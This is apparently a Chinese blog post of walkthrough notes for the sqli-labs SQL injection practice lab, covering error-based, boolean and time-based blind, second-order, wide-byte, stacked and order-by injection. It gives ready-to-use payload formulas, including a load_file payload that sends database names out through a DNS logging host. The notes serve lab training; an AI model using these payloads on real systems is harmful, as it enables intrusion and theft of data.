首页 > 数据库 >sql-lab 通关笔记

sql-lab 通关笔记

时间:2022-11-17 10:44:44浏览次数:58  
标签:后端 单引号 闭合 lab 报错 sql 通关 盲注 注入

sql-lab

less1-4

  1. 加单引号报错得到报错信息

  2. 根据报错信息判断闭合条件

  3. order by找字段数

  4. union select找回显位置

  5. 找到回显位置正常爆数据

  6. 相同类型其他关卡

后端代码分析

GET方式获取id,单引号闭合,将查询到的数据输出到页面上

less5-10

  1. 加单引号得到报错信息

  2. 根据报错信息判断闭合条件

  3. order by找字段数

  4. union select没有回显位置

盲注

  1. 基于floor报错的盲注
    原理是利用group by 处理rand 函数进行处理时,会多次对同一列进行查询,返回duplicate key 错误
利用公式
union Select 1,count(*),concat(你希望的查询语句,floor(rand(0)*2))a from information_schema.columns group by a--+
  1. updatexml报错注入
利用公式
and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)--+
  1. extractvalue报错注入
利用公式
and extractvalue(1, concat(0x7e, (select @@version),0x7e))--+

updatexml和extractvalue 在MySQL 5.1.5版本及以后版本中用于对XML文件进行处理,当Xpath 路径出错时会报错。
3. 基于bool判断的盲注

利用公式
' or Length(database()) = 8--+

根据页面是否返回正常判断bool判断是否正确。
4. 基于时间的盲注

利用公式
'  and if((select length(database())>7)>0,sleep(5),null) --+

sleep()和benchmark()可以用于延时注入,根据页面响应时间判断是否正确。
5. DNSlog平台盲注
DNSlog注入原理通过子查询,将内容拼接到域名内,让load_file()去访问共享文件,访问的域名被记录此时变为显错注入,将盲注变显错注入,读取远程共享文件,通过拼接出函数做查询,拼接到域名中,访问时将访问服务器,记录后查看日志。可用于SQL注入中的盲注,XSS盲打,无回显的命令执行,无回显的SSRF,无回显的XXE(Blind XXE)。用于SQL盲注时需要满足secure_file_priv 为空。

利用公式
' and load_file(concat('\\\\',(select database()),'.**.ceye.io\\sql'))--+

sql-lab利用DNSlog平台注入

后端代码分析

GET方式获取id,单引号闭合,如果在数据库中查询到相关信息,返回特定信息作为flag,否则返回数据库错误信息。

less11-14

post 类型联合查询注入

1.判断

2.爆数据

3.后端代码分析
POST方式获取用户名和密码,单引号闭合,并将查询的数据显示在页面上。

post 类型盲注

1.判断

2.爆数据

3.后端代码分析
POST方式获取用户名和密码,单引号闭合,查询的数据不显示在页面上,只显示一个登陆成功的图片。

less15-16

没有错误回显时,可以借助or 1=1或者and 1=1以及order by判断闭合方式,有查询内容回显时也可以借助union select共同判断。
没有错误回显也没有内容回显,不能使用报错注入,只能使用布尔和时间盲注。

  1. 判断闭合

2.爆数据

3.后端代码分析
POST方式获取用户名和密码,单引号闭合,查询的数据不显示在页面上,只显示一个登陆成功的图片,不显示报错信息。

less17-22

不同注入点的注入类型

注入点在password 处

常见重置密码等数据库更新数据库的情况下
1.判断

2.爆数据

3.后端代码分析
POST方式获取用户名,然后再在更新密码处拼合,所以注入点在password。

注入点在usagent 处

1.注入单引号闭合,不能使用连接符+连接语句,不能使用注释符闭合。

2.后端代码分析
先获取用户名,在将ip信息和usagent信息插入数据库,原查询语句有过滤,所以没有漏洞。

注入点在referer 处

1.注入单引号闭合,不能使用连接符+连接语句,不能使用注释符闭合。

2.后端代码分析
先获取用户名,在将referer信息和usagent信息插入数据库,原查询语句有过滤,所以没有漏洞。

注入点在cookie 处

1.注入单引号闭合,不能使用连接符+连接语句,不能使用注释符闭合。

2.后端代码分析
前面查询用户的数据处做了过滤,后面又通过cookie 查询数据,存在注入。

1.注入单引号闭合,不能使用连接符+连接语句,不能使用注释符闭合,对注入语句进行base64编码。

2.后端代码分析
主要对cookie 进行了base64编码

less23-28a

过滤绕过

过滤注释符

1.注入单引号闭合,不能使用注释符,使用and 和or 闭合语句。

2.后端代码分析
过滤了注释符

二次注入绕过过滤

1.注册一个新账号admin'#

2.修改新注册账号admin'# 的密码

3.实际上修改了admin 的密码

4.后端代码分析
通过注释符更新其他用户密码

过滤and和or

1.双写绕过

2.后端代码分析
匹配一次并替换成空格

过滤一大堆

1.and和or双写绕过,单引号闭合代替注释,括号代替空格,盲注

2.后端代码分析
过滤了一大堆

less29-31

两层服务架构,参数污染绕WAF

https://blog.csdn.net/m0_54899775/article/details/122156208

less32-37

宽字节注入

1.通过%bf或者其他ascii码大于128的字符进行绕过

2.后端代码分析
addslashes函数转换' 为'

post 类型宽字节注入

1.将 utf-8 转换为 utf-16 或 utf-32,例如将 '转为 utf-16 为 � ' ,进行注入

https://www.cnblogs.com/bmjoker/p/9134830.html

less38-45

堆叠注入

用户采用PDO编程( POD(PHP Data Object))且没有对参数进行过滤
mysqli_multi_query()函数也可以造成堆叠注入

https://blog.csdn.net/weixin_42530572/article/details/106439380

1.堆叠插入一条数据。

2.后端代码分析
使用函数mysqli_multi_query(),可同时执行多条sql语句

post类型堆叠注入

1.堆叠插入一条数据

http://bc.twsec.com.cn/sqli1/Less-42/login.php

less46-53

order by语句与limit语句的注入

order by 注入

1.报错注入

2.后端代码分析
order by 后面是注入点,不能使用union select 注入,使用报错注入或盲注

https://blog.csdn.net/m0_54899775/article/details/122202855

less54-75

前面的内容,练习巩固。

标签:后端,单引号,闭合,lab,报错,sql,通关,盲注,注入
From: https://www.cnblogs.com/TWX521/p/16331272.html

相关文章

  • 在MYSQL里,不能先select一个表的记录,再按此条件进行更新和删除同一个表的记录
    解决办法是,将select得到的结果,再通过中间表select一遍,这样就规避了错误,这个问题只出现于mysql,mssql和oracle不会出现此问题。MySQL根据字段删除重复值deletefromsites......
  • Android 中通过Intent传递类对象,通过实现Serializable和Parcelable接口两种方式传递对
    方式一:通过实现Serializable接口传递对象用一个小的Demo去理解,通过实现Serializable接口传递对象。效果图:具体讲解在代码注释中已经写出先创建一个对象:packagecom.exampl......
  • mysql8.0.31 mgr搭建
    1. mysql下载地址:MySQL::DownloadMySQLCommunityServer2. mgr文档:MySQL::MySQL8.0ReferenceManual::18GroupReplication3.安装实例:a) 解压ta......
  • SQL优化案例4(肇庆某项目)
    泽就找我优化条SQL,反馈执行时间很慢需要1分钟才能出结果,然后安排!--原SQLselecthiber.dmcod                             ......
  • MySQL主从原理
    MySQL主从又叫Replication、AB复制。简单讲就是A和B两台机器做主从后,在A上写数据,另外一台B也会跟着写数据,两者数据是实时同步的MySQL主从是基于binlog的,主上需开启binlo......
  • SQL改写案例1
    一开发哥们找我改写SQL,他写的逻辑始终不对,安排!--他写的SQL:#order_id是主键withaas(selectstr_to_date(regist_time,'%Y-%m-%d')asregist_timefrominno_busi_info......
  • SQL优化案例2(白云区短信项目)
    京华开发一哥们找我优化条报表SQL,反馈执行时间很慢需要18s才能出结果,安排。#原SQL    SELECT    2ASTYPE,    to_char(a."create_time",'yyy......
  • SQL Server 高可用(always on)配置指南之数据库侦听器及高可用
    1.简介1、参考SQLServer高可用(alwayson)配置指南之域(AD)环境搭建  ​​https://blog.51cto.com/waringid/5851856​​完成域控服务器(DomainControl,以下简称DC)2、......
  • mysql的锁机制-MyISAM表锁
    1、MySQL锁的基本介绍锁是计算机协调多个进程或线程并发访问某一资源的机制。在数据库中,除传统的计算资源(如CPU、RAM、I/O等)的争用以外,数据也是一种供许多用户共享的资......
  • Babelfish for PostgreSQL
      BabelfishforPostgreSQL开源已快一月,不过全网还没有实践者总结。今天我们就测试看看,Babelfish到底是如何部署与使用的! BabelfishforPostgreSQL介绍我们先回......